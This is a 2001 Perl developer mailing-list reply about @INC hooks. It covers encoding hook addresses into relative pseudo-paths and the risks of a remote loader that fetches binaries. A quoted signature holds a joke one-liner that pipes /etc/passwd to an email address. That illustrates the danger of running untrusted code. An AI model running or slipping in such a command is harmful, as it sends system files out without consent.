On Wed, Aug 29, 2001 at 11:44:37PM +0200, Rafael Garcia-Suarez wrote: > On 2001.08.29 12:14 Nicholas Clark wrote: > //loader/ is still a valid Unix path. > I suggest "&(0x81095c8)/relative/path/to/file". > > Note that this has the advantage of not being an absolute pathname > (as the PERL_FILE_IS_ABSOLUTE macro defines it). > > If pp_require is patched to drop &(0x81095c8)/ from the beginning > of a relative pathname, this has the side-effect of fixing the problem > reported by Gisle. (I call this a side-effect, not a plain fix, because > this would trigger walking through @INC, and not directly re-invoking the > hook corresponding to the 0x81095c8 address). Although as 0x81095c8 corresponds to the address in @INC, there's nothing stopping the &(0x81095c8) stripper actually extracting the 0x81095c8 from it, and walking @INC to find a reference with that address. And if it finds one calling that reference. [Not quite sure what to do if it does not. Presumably this corresponds to @INC being modified between initial loading and later loading. Does it fail? Or does it then carry on into a second @INC pass presenting the stripped filename to all in @INC?] > [...] > > The idea of a remote-loader that pulls binaries from somewhere seems scary. > > [I'm envisaging something that pulls the .so to a temporary file and then > > dl_open()s that. Or whatever for your OS] > > However, I'm not sure security why it's any less scary than "pure perl" > > considering that someone wrote a perl 1.5 liner in perl that triggered > > the Pentium f00f bug. If someone mails you a JAPH in a .sig, do you run it? > -- > #!/usr/local/bin/perl > system('cat /etc/passwd | mail -s hmmm rgarciasuarez@free.fr'); > print "Just another Perl hacker,\n"; ROTFL Nicholas ClarkThread Previous | Thread Next